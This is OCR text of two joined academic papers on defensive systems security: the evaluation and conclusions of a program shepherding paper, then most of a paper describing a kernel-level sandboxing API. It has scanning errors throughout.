sions, Although RIO interfered with a few of the ex- 
ploits due to changed addresses in the targets, it was 
trivial to modify the exploits to work under our system. 
Execution of the vulnerable binaries under RIO enforc- 
ing the policies shown in bold on Table 1, effectively 
blocked all attack types. All intrusion attempts that 
would have led to successfully exploitable conditions 
were detected. Nevertheless, the vulnerable applications 
were able to execute normally when presented with be- 
nign input. The SPEC2000 benchmarks also gave no 
false alarms on the reference data set. 


7.2 Performance 


Figure 3 and Figure 4 show the performance of our sys- 
tem on Linux and Windows, respectively. [Each fig- 
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urc shows nonnalized execution time for the SPEC2000 
benchmarks [25], compiled with full optimization and 
run with unlimited code cache space. (Note that we 
do not have a FORTRAN 90 compiler on Linux or any 
FORTRAN compiler on Windows.) The first bar gives 
the performance of RIO by itself. RIO breaks even on 
many benchmarks, even though it is not performing any 
optimizations beyond code layout in creating traces. The 
second bar shows the performance of program shepherd- 
ing enforcing the policies shown tn bold in Table |. The 
results show that the overhead of program shepherding 
is ncgligible. 


The final bar gives the overhead of protecting RIO it- 
self. This overhead is again minimal, within the noise tn 
our measurements for most benchmarks. On Linux, only 
gcc has significant slowdown due to page protection, 
because it consists of several short runs with little code 
re-use. On Windows, however, several benchmarks have 
serious slowdowns, especially gcc. Our only explana- 
tion at this point for the difference between the Linux 
and Windows protection slowdowns is that Windows 
is much less efficient at changing privileges on mem- 
ory pages than Linux ts. We are working on improving 
our page protection scheme by lazily unprotecting only 
those pages that are needed on each return to RIO mode. 


The memory usage of our security system is shown in 
Table 4. All sizes shown are in KB. The left half of 
the table shows the total size of text sections of each 
benchmark and all shared libraries it uses compared to 
the amount of code actually executed. The third column 
gives the percentage of the total static code that is exe- 
cuted. By operating dynamically our system is able to 
focus on the small portion of code that is run, whereas a 
static approach would have to examine the text sections 
in their entirety. 


The right half of Table 4 shows the memory overhead 
of RIO compared to the memory usage of each bench- 
mark. For most benchmarks the memory used by RIO is 
a small fraction of the total memory used natively. 


8 Related Work 


Reflecting the significance and popularity of buffer over- 
flow and format string attacks, there have been several 
other efforts to provide automatic protection and detec- 
tion of these vulnerabilities. We summarize the more 
successful ones. 
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Figure 3: Normalized program execution time for our system (the ratio of our execution time to native execution 
time) on the SPEC2000 benchmarks [25] (excluding all FORTRAN 90 benchmarks) on Linux. They were compiled 
using gcc -O3. The final set of bars is the harmonic mean. The first bar is for RIO by itself: the middle bar shows 
the overhead of program shepherding (with the security policy of Table 1); and the final bar shows the overhead of 
the page protection calls to prevent attacks against the system itself. 
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Figure 4: Normalized program execution time for our system (the ratio of our execution time to native execution time) 
on the SPEC2000 benchmarks [25] (excluding all FORTRAN benchmarks) on Windows 2000. They were compiled 
using cl /Ox. The final set of bars is the harmonic mean. The first bar is for RIO by itself; the middle bar shows 
the overhead of program shepherding (with the security policy of Table |); and the final bar shows the overhead of 
the page protection calls to prevent attacks against the system itself. 
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Table 4: Memory usage of the SPEC2000 benchmarks [25], in KB, on Linux. For benchmarks with multiple data sets, 
the run with the maximum memory usage is shown. Static code is the total size of the text sections of the benchmark 
and all shared libraries it uses. Executed code is the total size of all instructions processed by RIO when running 
the benchmark. RIO total is the total memory used by RIO itself when running the benchmark. Native total is total 
memory used by the benchmark when run natively (outside of RIO). 


StackGuard [7] is a compiler patch that modifies func- 
tion prologues to place “canaries” adjacent to the return 
address pointer. A stack buffer overflow will modify 
the “canary” while overwriting the return pointer, and 
a check in the function epilogue can detect that condi- 
tion. This technique is successful only against sequential 
overwrites and protects only the return address. 


StackGhost [14] is an example of hardware-facilitated 
returm address pointer protection. It is a kernel modifi- 
cation of OpenBSD that uses a Sparc architecture trap 
when a register window has to be written to or read from 
the stack, so it performs transparent xor operations on 
the return address before it is written to the stack on 
function entry and before it is used for control transfer 
on function exit. Return address corruption results in a 
transfer unintended by the attacker, and thus attacks can 
be foiled. 


Techniques for stack smashing protection by keeping 
copies of the actual return addresses in an area inac- 
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cessible to the application are also proposed in Stack- 
Ghost [14] and in the compiler patch StackShield [26]. 
Both proposals suffer from various complications in the 
presence of multi-threading or deviations from a strict 
calling convention by setjmp() or exceptions. Un- 
less the memory areas are unreadable by the application, 
there is no hard guarantee that an attack targeted against 
a given protection scheme can be foiled. On the other 
hand, if the return stack copy is protected for the du- 
ration of a function execution, it has to be unprotected 
on each call, and that can be prohibitively expensive 
(mprotect on Linux on IA-32 is 60-70 times more 
expensive than an empty function call). Techniques for 
write-protection of stack pages [7] have also shown sig- 
nificant performance penalties. 


FormatGuard [6] is a library patch for eliminating for- 
mat string vulnerabilities. It provides wrappers for the 
printf functions that count the number of arguments 
and match them to the specifiers. It is applicable only to 
functions that use the standard library functions directly, 
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and it requires recompilation. 


Enforcing non-executable permissions on IA-32 via ker- 
nel patches has been done for stack pages [10] and for 
data pages in PaX [23]. Our system provides execution 
protection from user mode and achieves better steady 
state performance. Randomized placement of position 
independent code was also proposed tn PaX as a tech- 
nique for protection against attacks using existing code; 
however, it is open to attacks that are able to read process 
addresses and thus determine the program layout. 


Our system infrastructure itself 1s a dynamic optimiza- 
tion system based on the JA-32 version [3] of Dy- 
namo [2]. Other software dynamic optimizers are Wig- 
gins/Redstone [9], which employs program counter sam- 
pling to form traces that are specialized forthe particular 
Alpha machinethey are running on, and Mojo [5], which 
targets Windows NT running on IA-32. None of these 
has been used for anything other than optimization. 


9 Conclusions 


This paper introduces program shepherding, which em- 
ploys the techniques of restricted code origins, restricted 
control transfers, and un-circumventable sandboxing to 
provide strong security guarantees. We have imple- 
mented program shepherding in the RIO runtime sys- 
tem, which does not rely on hardware, operating sys- 
tem, or compiler support, and operates on unmodified 
binarics on both generic Linuxand Windows IA-32 plat- 
forms. We have shown that our implementation success- 
fully prevents a wide range of security attacks efficiently. 


Program shepherding does not prevent exploits that 
overwrite sensitive data. However, if assertions about 
such data are verified in all functions that use it, these 
verifications cannot be bypassed if they are the only de- 
clared entry points. 


We have discussed the potential design space of secu- 
rity policies that can be built using program shepherd- 
ing. Our system currently implements one set of policy 
settings, but we are expanding the set of security polli- 
cies that our system can provide without loss of perfor- 
mance. Future expansions include using semantic infor- 
mation provided by compilers to specify permissible op- 
erations on a fine-grained level, and performing explicit 
protection and monitoring of known program addresses 
to prevent corruption. For example, protecting the ap- 
plication’s GOT [12] and allowing updates only by the 


dynamic resolver can easily be implemented in a secure 
and efficient fashion. 


A potential application of program shepherding 1s to al- 
low operating system services to be moved to more ef- 
ficient user-level libraries. For example, in the exoker- 
nel [13] operating system, the usual operating system 
abstractions are provided by unprivileged libraries, giv- 
ing efficient control of system resources to user code. 
Program shepherding can enforce unique entry points in 
these libraries, enabling the exokernel to provide better 
performance without sacrificing security. 


We belicve that program shepherding will be an inte- 
gral part of future security systems. It ts relatively sim- 
ple to implement, has little or no performance penalty, 
and can coexist with existing operating systems, appli- 
cations, and hardware. Many other security components 
can be built on top of the un-circumventable sandboxing 
provided by program shepherding. Program shepherd- 
ing provides useful security guarantees that drastically 
reduce the potential damage from attacks. 
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Abstract 


A widely used technique for securing computer systems 
is to execute programs inside protection domains that 
enforce established security policies. These contain- 
ers, often referred to as sandboxes, come in a variety 
of forms. Although current sandboxing techniques have 
individual strengths, they also have limitations that re- 
duce the scope of their applicability. In this paper, we 
give a detailed analysis of the options available to de- 
signers of sandboxing mechanisms. As we discuss the 
tradeoffs of various design choices, we present a sand- 
boxing facility that combines the strengths of a wide va- 
riety of design alternatives. Our design provides a Set 
of simple yet powerful primitives that serve as a flexible, 
general-purpose framework for confining untrusted pro- 
grams. As we present our work, we compare and con- 
trast it with the work of others and give preliminary re- 
sults. 


1 Introduction 


The standard UNIX security model provides a basic 
level of protection against system penetration. However, 
this model alone is insufficient for security-critical ap- 
plications. The security of a standard UNIX system de- 
pends on many assumptions. File permissions must be 
set correctly on a number of programs and configura- 
tion files. Network-oriented services must be configured 
to deny access to sensitive resources. Furthermore, sys- 
tem programs must not contain security holes. To main- 
tain security, one must constantly monitor sites such as 
CERT and SecurityFocus, install new patches, and hope 
that holes are patched before an attacker discovers them. 


This research is supported in part by NSF grants CCR-00-82677 
and CCR-99-88349. 


Since potentially vulnerable system programs often exe- 
cute with root privileges, attacks against them often lead 
to total system compromise. The typical UNIX system 
is therefore characterized by many potential weaknesses 
and is only as secure as its weakest point. 


The limitations of the UNIX security model have created 
much interest in alternate paradigms. This has drawn at- 
tention to a wide variety of mechanisms. Examples are 
capabilities[1], access control lists (ACLs), domain and 
type enforcement (DTE)[2, 3], and sandboxing mecha- 
nisms. Sandboxes are attractive because they provide a 
centralized means of creating security policies tailored 
to individual programs and confining the programs so 
that the policies are enforced. They therefore provide 
great potential for simplifying system administration, 
preventing exploitation of security holes in system pro- 
grams, and safely executing potentially malicious code. 
Their value as security tools increases as computing en- 
vironments become more network-centered and execu- 
tion of downloaded code becomes more common. 


A number of methods have been proposed for confining 
untrusted programs. Although these techniques have in- 
dividual strengths, they also have limitations that narrow 
the scope of their applicability. In this paper, we sys- 
tematically explore the range of options available to de- 
signers of sandboxing mechanisms. As we discuss var- 
ious design choices and their consequences, we present 
a sandboxing facility that combines the advantages of 
a number of alternatives. Our sandboxing mechanism 
is implemented as a system call API that serves as a 
general-purpose framework for confining untrusted pro- 
grams. Our goal is to provide primitives that are sim- 
ple yet powerful enough that system administrators, in- 
dividual users, and application developers may use them 
to specify and enforce security policies that are custom- 
tailored to satisfy their diverse needs. 


In the next section, we present the design of our sand- 
boxing facility within the context of various design alter- 
natives and the motivations behind them. Section 3 pro- 
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vides details of how privileges are represented 1n our de- 
sign. In Section 4, we give preliminary performance re- 
sults from a partially completed implementation within 
the Linux kernel. Section 5 contains an overview of re- 
lated works and how they differ from our design. Finally, 
we present conclusions in Section 6. 


2 Design Alternatives 


The design of a sandboxing mechanism may be viewed 
from a number of angles. We have identified the follow- 
ing issues: 


1. Sandboxes may grant or deny various privileges to 
the programs that they contain. How are these priv- 
ileges represented and organized? 


2. Where are the mechanisms located that enforce 
sandbox-imposed restrictions? 


3. Are restrictions enforced by passive or active enti- 
eal 
ties’? 


4. Are sandboxes global entities that enforce sys- 
temwide constraints or more localized entities that 
confine individual programs or perhaps groups of 
related programs? What criteria are used to group 
programs into sandboxes? 


5. Do sandboxes enforce mandatory or discretionary 
access controls? 


6. How are access privileges determined for inspec- 
tion and manipulation of sandbox configurations? 


7. Are sandboxes static or dynamic entities? In other 
words, are their configurations fixed or subject to 
change? If sandboxes are reconfigured in response 
to changing security policies, how do the changes 
propagate throughout a running system? 


8. Are sandboxes generic entities for entire classes of 
programs, or are they narrowly customized for spe- 
cific programs? 


9. Are sandboxes transient or persistent entities? Do 
they function as lightweight, disposable containers, 
or do they maintain relatively static long-term asso- 
ciations with programs and other objects that they 
may contain? 

' Active entities are separate processes or threads that monitor the 
activities of sandboxed programs. Passive entities are variables or data 
structures maintained by the sandbox that are examined as part of the 


privilege checking steps that occur when a program attempts some ac- 
tion. 
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10. How do sandboxes interact with other security 
mechanisms? 


Before giving detailed consideration to each of these 
questions, we first give a brief introduction to our sand- 
boxing facility and a few of its properties. This will 
clarify our subsequent discussion of the design space 
and where our mechanism stands in relation to each of 
the above issues. As the discussion progresses, we will 
present additional aspects of our design and the motiva- 
tions behind them. 


We have developed a kernel-based mechanism that pro- 
vides a general-purpose system call API for confining 
untrusted programs. Processes may create their own 
sandboxes, launch arbitrary programs inside them, and 
dynamically reconfigure the sandboxes as programs ex- 
ecute inside. Unprivileged processes may safely create 
and configure sandboxes because our mechanism fol- 
lows the principle of attenuation of privileges. Specif- 
ically, a sandbox can never grant privileges to a program 
beyond what the program would normally have if it were 
not executing inside the sandbox. Consider the follow- 
ing example of how our facility might typically be used: 


I. A process creates a new sandbox by making an 
sbxcreate() system call. The newly created 
sandbox 1s assigned a numeric identifier that 1s con- 
ceptually similar to a filename. The creator receives 
a numeric handle that is essentially the same as a 
file descriptor. Initially, only the creator can access 
the sandbox. 


2. The process configures the sandbox using addi- 
tional system calls. 


3. The process forks and the child inherits a copy of 
the parent’s sandbox descriptor. 


4. The child applies the sandbox to itself by making 
an sbxapply() system call. This can be done in 
one of two ways: 


(a) No options are specified when calling 
sbxapply().Onreturn, the sandbox is ap- 
plied to the child. The apply operation auto- 
matically closes any sandbox descriptors held 
by thechild. The child therefore gives up con- 
trol of all sandboxes it formerly controlled, in- 
cluding the one that now contains It. 


(b) The ’apply on exec” option is passed to 
sbxapply(). The child then performs an 
execve() system call. If execve() suc- 


ceeds, the sandbox is applied to the child and 
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all of its sandbox descriptors are closed. On 
failure, the sandbox is not applied. Thus the 
child retains any privileges necessary for error 
handling. 


5. The parent retains full control over the sandbox 
and may reconfigure it while the child executes in- 
side. The parent may also launch additional pro- 
grams inside the sandbox. Alternately, it may close 
its sandbox descriptor, giving up all access rights 
and eliminating itself as a potential point of attack. 
The sandbox is now unchangeable by any process, 
even those with root privileges. Although the child 
is trapped in the sandbox for the rest of its life- 
time, outside processes can still suspend or termi- 
nate it. Sandboxes only impose restrictions on the 
processes they contain. They never place fimits on 
what outside processes can do relative to processes 
executing within. 


6. All of the child’s descendants inherit its sandbox. 
A process may be sandboxed only by applying a 
sandbox to itself or inheriting its parent’s sandbox. 


7. There is no explicit destroy operation for sand- 
boxes. The kernel manages their destruction 
through reference counting. 


Now that our sandboxing facility has been introduced, 
we continue with a discussion of the design space that 
individually addresses each of the previously mentioned 
questions. 


2.1 Representation and Organization of Privi- 
leges 


The question of how to represent and organize sandbox- 
related privileges is open-ended. There are a multitude 
of potential options, and any attempt to thoroughly dis- 
cussevery possibility is almost certain to leave out many 
alternatives. We therefore focus on two key issues: ex- 
tensibility and expressiveness. 


As computer systems evolve to serve new purposes, new 
features are added to operating systems. A sandbox- 
ing mechanism should therefore be easy to extend so 
that it may enforce security policies governing access to 
new types of system resources. With this requirement in 
mind, we have divided system functionality into several 
categories, each represented by a different component 
type. As new features are added to operating systems, 
our mechanism may be extended by creating additional 
component types. To facilitate their development, we 


have structured our implementation in a modular fash- 
ion. Our current design specifies the following seven 
types of components: 


e Device component: Specifies access privileges for 
devices according to device number. 


e File system component: Specifies access privileges 
for files according to directory path. 


e !PCcomponent: Specifies access privileges for IPC 
objects such as semaphores, message queues, and 
shared memory segments. 


e Network component: Specifies ranges of IP ad- 
dresses to which sandboxed processes may open 
connections. Also specifies ranges of ports from 
which incoming connections may be received. 


e ptrace() component: Specifies which processes 
a sandboxed process may ptrace(). 


e Signal component: Specifies processes to which a 
sandboxed process may send signals. 


e System management component: Specifies privi- 
leges for administrative actions such as rebooting 
and setting system date/time. 


The creator of a sandbox specifies allowed privileges by 
creating components and attaching them to the sandbox. 
A component may be attached to several sandboxes si- 
multaneously, but a given sandbox may be attached to 
at most one component of each type at any given in- 
stant”. The creator of a sandbox may change the set of 
attached components or adjust their settings while pro- 
cesses execute inside. When a component is first cre- 
ated, it initially denies all privileges that it governs. The 
creator mustthen specify explicitly which privileges are 
allowed. If no component of a particular type is attached 
to a given sandbox, then all privileges associated with 
that component type are implicitly denied. Therefore, 
existing programs that use our mechanism will deny ac- 
cess to new areas of system functionality by default. 
Since privileges are denied by default, our design ex- 
hibits the principle of fail-safe defaults as described by 
Saltzer and Schroeder[4]. 


To permit flexible specification of fine-grained security 
policies, privileges must be specified in a highly expres- 
sive manner. With this goal in mind, we divide privi- 
leges into two categories: binary privileges and quan- 
titative privileges. A binary privilege may be assigned 


2 Actually, a sandbox has two sets of attachment points for the var- 
lous component types. The purpose of the second set of attachment 
points will be described later. 
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one of two possible values: allow or. deny. An exam- 
ple is the ability to read the contents of /etc/passwd. 
A quantitative privilege may be assigned numeric values 
such as 50 or 100. For example, the total memory allo- 
cated to a program might be restricted to a maximum of 
4 megabytes. 


Our current design only deals with binary privileges. 
Quantitative privileges address issues regarding denial 
of service. The addition of features that guard against 
these types of attacks is an area of future work. We in- 
tend to study solutions that others have developed{5, 6] 
and incorporate them into our design. 


The two possible values of a binary privilege may be 
viewed as membership in or exclusion from a set of al- 
lowed operations. This insight suggests the following 
approach: Represent sets of privileges as first-class ob- 
jects and provide primitives for manipulating them us- 
ing set-theoretic transformations. Our components are 
designed to behave in exactly this manner. Specifically, 
given two components z and y of a given type, we pro- 
vide the following operations: 


e Create union: Create a new component z that rep- 
resents the union of the privileges given by z and 


Yy. 


e Create intersection: Create anew component 2 that 
represents the intersection of the privileges given 
by x and y. 


e Create complement: Create a new component z 
that represents the complement of the privileges 
given by z. 


e Union with self: Modify x so that it represents the 
union of y with its prior value. 


e Intersect with self: Modify x so that it represents 
the intersection of y with its prior value. 


e Complement self: Modify x so that it represents the 
complement of its prior value. 


Our set-oriented approach to creating and manipulating 
privileges associated with protection domains represents 
a unique perspective. As an example application, con- 
sider an employee Bob who initially works in the per- 
sonnel department of some company and then transfers 
to the finance department. Let B represent the privileges 
that Bob’s sandbox initially allows. Let P represent 
the privileges required for Bob’s personnel-related du- 
ties and let F' represent the privileges required for Bob’s 
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finance-related duties. The transition between depart- 
ments may then be accomplished by manipulating Bob’s 
sandbox as follows: 


Ba (eine ee 


Suppose that Bob then starts working on a project that 
requires collaboration with another employee George. 
He therefore needs to access some of George’s files. Let 
G represent George’s files and let Gc represent a sub- 
set of George’s files that are confidential and should not 
be shared with Bob. The necessary sharing may then be 
allowed by making the following change to Bob’s sand- 
box: 


B:= BU(GNGo) 


As our discussion continues, we will mention other ap- 
plications that may benefit from a set-oriented view of 
privileges. In general, the ability to manipulate compo- 
nents using set operations has several advantages: 


e Set operations are very expressive. They allow 
components to be constructed that satisfy asser- 
tions relative to each other given by arbitrary set- 
theoretic expressions. 


e Set theory is well-understood. Therefore, so are re- 
lationships among components. 


e Set operations provide a means of manipulating 
privileges that is uniform across all component 
types. This exemplifies the principle of economy of 
mechanism presented by Saltzer and Schroeder[4] 
and is likely to simplify programs that use our sand- 
boxing API. 


e Set operations provide a means of answering ques- 
tions such as ”’ Which privileges are granted to user 
A or user B but denied to user C’?” This informa- 
tion may be useful if we wish to know how much 
damage user C’ can inflict if he successfully bribes 
users A and B. In general, a convenient means of 
answering such questions allows one to easily un- 
derstand implications of various sandbox configu- 
rations. 


e By clarifying relationships between sandbox- 
associated privileges, set operations provide a 
means of verifying that security policies are cor- 
rectly enforced. 
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e Providing users with simple yet powerful mecha- 
nisms often results in the development of new and 
useful applications. 


We therefore believe that the inclusion of set-oriented 
primitives in our model is a prudent design decision. 


2.2 Location of Enforcement Mechanisms 


Sandboxing mechanisms may be implemented in any of 
the following locations: 


e runtime environment 
e sandboxed program 
e user space” 


e OS kernel 


We will now consider each of these alternatives, focus- 
ing on their advantages and disadvantages. 


2.2.1 Runtime Environment 


In this arrangement, the sandboxed program executes 
within a specialized runtime environment that provides 
complete mediation between the program and underly- 
ing system resources. The runtime system can therefore 
prohibit actions that violate established security policies. 
A well-known example of this type of sandbox is the 
Java virtual machine[7]. This option is attractive be- 
cause it allows security policies to be tailored to the run- 
time environment. For example, an object-oriented sys- 
tem could restrict access to individual method invoca- 
tions. Furthermore, protection mechanisms may be very 
fine-grained. Pointer use may be completely eliminated, 
or pointer dereferences may be individually validated at 
runtime. However, this approach is only applicable to 
programs that execute within a particular runtime envi- 
ronment. It is therefore not suitable as a general-purpose 
mechanism. 


2.2.2 Sandboxed Program 


Analternate approach is to embed the sandboxing mech- 
anism within the sandboxed program. Proof-carrying 


3Here, we mean separate from the sandboxed program and any run- 
time environment tn which it may be executing. 
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code[8] is an example of this technique. In this scheme, 
a binary executable contains a mathematically rigorous 
proof that it satisfies a given security policy. Before the 
program executes, a verifier checks the correctness of 
the proof. If the proof is incorrect or does not satisfy 
the security policy, then the program is denied the privi- 
lege to execute. It is also possible to instrument a binary 
executable with additional machine instructions that ver- 
ify compliance with a security policy[9]. Both of these 
types of sandboxes have the advantage of being able to 
enforce fine-grained security policies at the level of indi- 
vidual machine instructions. However, the need to mod- 
ify binary executables makes these techniques inconve- 
nient. Furthermore, they are not generally applicable to 
all types of programs (such as shell scripts, for instance). 
They are therefore not suitable as general-purpose mech- 
anisms. 


2.2.3 User Space 


Another option is to implement sandboxes as separate 
processes that execute in user space. This requires some 
type of OS-provided mechanism that allows one pro- 
cess tocontrol the execution of another process. Several 
mechanisms of this variety[10, 11, 12] use the /proc 
process tracing facility of Solaris for system call inter- 
ception. This type of design is advantageous because 
it may be easily deployed in existing systems. Binary 
executables do not require modification, and the mech- 
anism may be applied to arbitrary types of programs 
such as shell scripts. A disadvantage 1s that the Solaris 
process tracing facility is not applicable to setuid pro- 
grams. If setuid programs were traceable in this manner, 
an unprivileged user could perform arbitrary operations 
as root simply by tracing a setuid program and modify- 
ing parameters to system calls as they are invoked. This 
approach adds overhead, since it requires additional pro- 
cesses for monitoring. Furthermore, monitoring requires 
interprocess context switches, and the monitoring pro- 
cess must typically fork() each time the sandboxed 
process forks. 


2.2.4 OS Kernel 


The OS kernel is another potential place where sand- 
boxing mechanisms may reside. This location allows 
placement of privilege checking hooks and other func- 
tionality at points deep within the kernel. It therefore 
provides essentially unlimited options for restricting 
access to system resources and fundamentally changing 
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how the system as a whole behaves. Furthermore, the 
strict isolation of the kernel from user space entities is 
likely to make kernel-resident sandboxing mechanisms 
less vulnerable to attack. However, kernel modification 
requires access to source code unless the sandboxing 
mechanism is implemented as a loadable kernel module 
(LKM). Another disadvantage is that kernel code is 
difficult to write and debug, and must be fully trusted. 
Bugs or design flaws may create systemwide vulnera- 
bilities or cause system crashes. 


We have chosen to implement our sandboxing mecha- 
nism within the OS kernel. The kernel-resident status 
of our implementation allows us to export a universally 
accessible system call API that may be applied to 
both privileged and unprivileged programs, regardless 
of what language they were written in. Our system 
call API is designed to be policy-neutral and highly 
flexible. It provides a minimal set of primitives that are 
designed to serve a wide variety of purposes. Thus, 
application-dependent aspects of sandbox manipulation 
are pushed into user space where they belong. The 
general-purpose nature of our design mitigates the 
disadvantages of kernel code being difficult to develop 
and debug. 


2.3 Passive vs. Active Monitoring 


Sandbox-imposed restrictions may be enforced by pas- 
sive data structures that are examined whenever a pro- 
gram attempts to perform some operation. For exam- 
ple, the kernel’s implementation of the open () sys- 
tem call might be modified so that sandbox-related data 
structures are consulted before open () is allowed to 
proceed. We refer to this as passive monitoring. Al- 
ternately, restrictions may be enforced by separate pro- 
cesses or threads that monitor programs as they execute. 
We refer to this as active monitoring. An advantage of 
active monitoring Is its flexibility. Monitoring processes 
are not restricted to making policy decisions based on 
relatively static data structures. Instead, they may im- 
plement security policies defined by complex state ma- 
chines. The disadvantage of active monitoring is the 
high overhead it requires. Monitoring processes must 
be created and individual privilege checks require in- 
terprocess context switches. Furthermore, most designs 
require the monitoring process to fork() each time a 
sandboxed process forks. 


To address this design issue, we have developed a novel 
mechanism that allows monitoring to be purely passive, 
purely active, or anywhere in between. Thus, programs 
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@ Process q 


Figure 1: Blocking mechanism 


may benefit from the best aspects of both alternatives. 
We achieve these benefits through a mechanism that al- 
lows privileges to be determined interactively at runtime. 
Specifically, a sandbox may be configured so that at- 
tempting certain actions will cause a sandboxed process 
to block instead of being immediately denied the privi- 
lege to perform the action. When a process blocks in this 
manner, an event 1s generated and placed in the event 
queue of the sandbox where the blocking occurred. A 
process that has ownership over the sandbox uses the 
sbxwait () system call to wait for and obtain events. 
An event may be examined to determine which pro- 
cess generated it and what action was attempted. The 
sbxdecide() system call is then used to unblock the 
process that triggered the event and decide whether to 
allow the attempted action. 


Our design permits application of the blocking mecha- 
nism in a fine-grained manner. Figure 1 illustrates how 
this works. Each sandbox has two sets of attachment 
points for the various component types. Sandbox S has 
device components D, and Dy attached at points d; 
and dy. File system component Ff} 1s attached at point 
f;. Process p controls sandbox S while q executes in- 
side. When gq attempts to access a device, the sandbox- 
ing mechanism first examines D,. If D , allows the re- 
quired privilege then the operation will succeed*. Other- 
wise, Dz is examined. If D2 allows the privilege, then q 
blocks and p decides whether to allow the operation. If 
Dy denies the required privilege, then the operation will 
fail. If qg attempts to access some file, the sandboxing 
mechanism examines component F\. If F) allows the 
required privilege, then the operation is allowed. Other- 
wise, the operation 1s immediately denied, since no com- 


4This assumes that file permission bits and other applicable secu- 
rity mechanisms also allow the operation. 
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Figure 2: Nested sandboxes 


ponent is attached at point fo. 


A potential use of this feature 1s intrusion detection. For 
example, a telnet daemon could place a user’s login shell 
inside a sandbox and use the blocking feature to monitor 
aberrant behavior. If such behavior is detected, the sys- 
tem can make fine-grained adjustments to the set of ac- 
tions that it monitors. Inresponse to suspicious behavior, 
the system may tighten sandbox-imposed constraints, or 
perhaps perform other actions such as notifying a system 
administrator. 


2.4 Scope of Application: Global vs. Local 


In principle, sandboxes may be used to confine individ- 
ual users, groups of users, individual programs, or per- 
haps groups of programs that cooperate to serve com- 
mon purposes. One might even imagine a global sand- 
box that enforces certain restrictions on all programs. 
These alternatives raise the question of where sandboxes 
should be deployed on the spectrum from global to lo- 
cal. Also, what criteria should be used for grouping pro- 
grams into sandboxes? 


We believe that there is no single best answer to these 
questions. Therefore our design allows system adminis- 
trators, users, and application developers to create sand- 
boxes that enforce security policies at any level of gran- 
ularity. To permit simultaneous enforcement of access 
controls at multiple levels, our design provides the abil- 
ity to create hierarchically nested sandboxes, as shown 
in Figure 2. 


In this example, sandbox G is a global sandbox that con- 
tains all processes. G enforces global policies such as 
the restriction that no process should be able to mod- 
ify system programs in locations such as /bin and 
/usr/bin. Atsystem startup time, /sbin/init cre- 
ates G and applies G to itself before it forks any child 
processes. To override the restrictions imposed by G, an 
administrator with physical access to the system console 
must reboot the system with a kernel in which sandbox- 
ing functionality has been disabled. 


At a more localized level, programs such as telnet dae- 
mons, ftp daemons, and the standard login program may 
be modified to place restrictions on individual users. 
Sandboxes A and B restrict the loginshells of users Al- 
ice and Bob in this manner. 


Users may selectively delegate their privileges by creat- 
ing sandboxes for individual applications. For instance, 
user Alice has downloaded a video game from an un- 
trusted source. To protect against Trojan horses, she ex- 
ecutes the program inside sandbox X. 


Finally, an application program that is aware of the sand- 
boxing mechanism may use it as a flexible means of 
dropping privileges when performing sensitive opera- 
tions. The web server executing in sandbox W uses our 
mechanism in this manner by executing CGI programs 
in sandboxes C}; and Co. 


If the blocking mechanism 1s used in combination with 
nested sandboxes, an attempted action by a sandboxed 
process may cause it to block sequentially at multiple 
levels. For instance, if the downloaded game in sandbox 
X attempts to open some file, the privilege checking op- 
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eration performed at sandbox X may cause it to block. If 
a process in sandbox A decides to allow the action, then 
a privilege check will be performed at sandbox A. De- 
pending on how A is configured, this may also cause the 
process to block, providing an opportunity for a process 
in sandbox G to allow or deny the action. The same be- 
havior could also take place at sandbox G if it were con- 
figured appropriately, although this would require some 
process outside G to be responsible for monitoring G. In 
practice, we believe that sandboxes will rarely be nested 
at depths of more than three or four levels. Therefore the 
overhead required to perform privilege checks at multi- 
ple levels should be reasonably low. 


2.5 Mandatory vs. Discretionary 


Security policies may be enforced by either mandatory 
or discretionary access controls. Mandatory access con- 
trols are useful because they are based on systemwide 
rules beyond the control of individual users. They there- 
fore provide a high degree of assurance that system wide 
security policies are not violated. Discretionary access 
controls are useful because they allow individual users 
to define their own security policies. These two alterna- 
tives raise the question of whether sandboxes should be 
mandatory or discretionary in nature. 


Our design provides both options. One means of provid- 
ing mandatory access controls is to place /sbin/init 
in a sandbox at system startup time. Additionally, sand- 
boxes may enforce mandatory access controls at the 
level of individual users. Since our mechanism follows 
the principle of attenuation of privileges, unprivileged 
users may employ it to create discretionary sandboxes. 


As future work, we intend to add a mechanism that al- 
lows transitions between sandboxes when certain pro- 
grams are executed. This would make sandboxes more 
similar to the domains provided by DTE[2, 3]. How- 
ever, the use of components to define privileges granted 
to domains 1s a dif ferent approach from using types. Us- 
ing our mechanism, a core set of components may be 
defined that serve the same purpose as types. Additional 
types can be derived using set-theoretic transformations. 
Permitting dynamic creation of types at runtime may 
also be useful. For instance, executing a certain program 
might cause creation of a new type that is a function of 
the user’s previous type and possibly other variables. 
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5 Pools are collections of sandboxes. 


2.6 Inspection and Manipulation of Sandboxes 


An effective sandboxing mechanism must provide some 
means of guarding access to sandbox-related objects. In 
this discussion, the term object refers to a sandbox, com- 
ponent, or pool?. If anyone may reconfigure a sandbox, 
then the restrictions it imposes are easily circumvented. 
Furthermore, one might create a sandbox that denies ac- 
cess to some resource whose existence must remain hid- 
den. Allowing anyone to examine a sandbox configura- 
tion may therefore cause unacceptable leakage of infor- 
mation. 


The question of how access to sandboxes should be gov- 
erned is open-ended and depends on the details of the 
mechanism being considered. We have taken a conser- 
vative approach in which access 1s strictly limited. A 
descriptor with read privilege is required for examining 
the configuration of an object. Likewise, a descriptor 
with write privilege is required for calling sbxwait () 
on a sandbox or modifying an object. Descriptors may 
be obtained only as follows: 


e The creator of an object receives a descriptor with 
both read and write privileges for the new object. 


e When a process forks, the child inherits all of 
the parent’s descriptors along with their associated 
privileges. 


» If a process inside a sandbox creates an object, it 
may specify that a link is created for the new object. 
Other processes in the same sandbox may then use 
the sbxopen() system call to open descriptors 
for the new object. This is analogous to access- 
ing files with the open() system call. Processes 
inside a given sandbox may therefore have shared 
access to child objects. 


e There is only one circumstance in which processes 
not within the immediate boundaries of a given 
sandbox may open descriptors for its child objects. 
When creating a component, a process may label 
it as public. In this case, processes in descendant 
sandboxes may open descriptors for the component 
with read-only access. 


Our design provides a system call for dropping read and 
write privileges associated with descriptors. An object 
that is linked may also be unlinked, or the read and write 


They will be described in 
more depth later. 
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privileges associated with the link may be dropped in- 
dividually. Thus, access privileges may be irreversibly 
dropped in order to eliminate potential points of attack. 
We may eventually consider extending our model to al- 
low more flexible specification of privileges. One possi- 
bility 1s to define a new type of component that controls 
access to the sandboxes and components themselves. 
Although there is a certain elegance in this approach, it 
creates additional complexity that may be undesirable. 


2.7 Static vs. Dynamic 


Security policy enforcement mechanisms may be static 
or dynamic in nature. If the policy seldom changes, then 
